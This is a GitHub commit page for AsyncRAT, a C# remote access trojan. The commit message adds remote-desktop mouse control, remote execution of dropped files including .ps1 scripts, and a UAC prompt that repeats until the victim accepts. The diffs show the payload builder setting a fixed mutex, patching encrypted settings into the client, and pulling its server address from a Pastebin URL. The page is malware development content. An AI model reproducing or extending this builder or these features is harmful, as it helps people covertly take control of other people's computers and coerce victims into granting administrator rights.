Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
fixed - mutex
  • Loading branch information
Nyrotication committed May 10, 2020
1 parent 10c995b commit 5937e38
Show file tree
Hide file tree
Showing 4 changed files with 10 additions and 8 deletions.
2 changes: 1 addition & 1 deletion AsyncRAT-C#/Server/App.config
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@
<value>True</value>
</setting>
<setting name="Mutex" serializeAs="String">
<value />
<value>AsyncMutex_6SI8OkPnk</value>
</setting>
<setting name="Pastebin" serializeAs="String">
<value>https://pastebin.com/raw/s14cUU5G</value>
Expand Down
12 changes: 7 additions & 5 deletions AsyncRAT-C#/Server/Forms/FormBuilder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -95,7 +95,8 @@ private void Builder_Load(object sender, EventArgs e)
}
catch { }

txtMutex.Text = getRandomCharacters();
if (Properties.Settings.Default.Mutex.Length == 0)
txtMutex.Text = getRandomCharacters();
}


Expand Down Expand Up @@ -185,8 +186,6 @@ private async void BtnBuild_Click(object sender, EventArgs e)
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}

if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters();

if (string.IsNullOrWhiteSpace(txtGroup.Text)) txtGroup.Text = "Default";

if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return;
Expand Down Expand Up @@ -371,7 +370,7 @@ private void WriteSettings(ModuleDefMD asmDef, string AsmName)
{
asmDef.Assembly.Name = Path.GetFileNameWithoutExtension(AsmName);
asmDef.Name = Path.GetFileName(AsmName);
if (type.Name == "Settings")
if (type.Name == "Settings")
foreach (MethodDef method in type.Methods)
{
if (method.Body == null) continue;
Expand Down Expand Up @@ -430,7 +429,10 @@ private void WriteSettings(ModuleDefMD asmDef, string AsmName)
method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));

if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
if (string.IsNullOrWhiteSpace(txtMutex.Text))
method.Body.Instructions[i].Operand = getRandomCharacters();
else
method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);

if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
Expand Down
2 changes: 1 addition & 1 deletion AsyncRAT-C#/Server/Properties/Settings.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion AsyncRAT-C#/Server/Properties/Settings.settings
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
<Value Profile="(Default)">True</Value>
</Setting>
<Setting Name="Mutex" Type="System.String" Scope="User">
<Value Profile="(Default)" />
<Value Profile="(Default)">AsyncMutex_6SI8OkPnk</Value>
</Setting>
<Setting Name="Pastebin" Type="System.String" Scope="User">
<Value Profile="(Default)">https://pastebin.com/raw/s14cUU5G</Value>
Expand Down

1 comment on commit 5937e38

@Xyncgas
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please sign in to comment.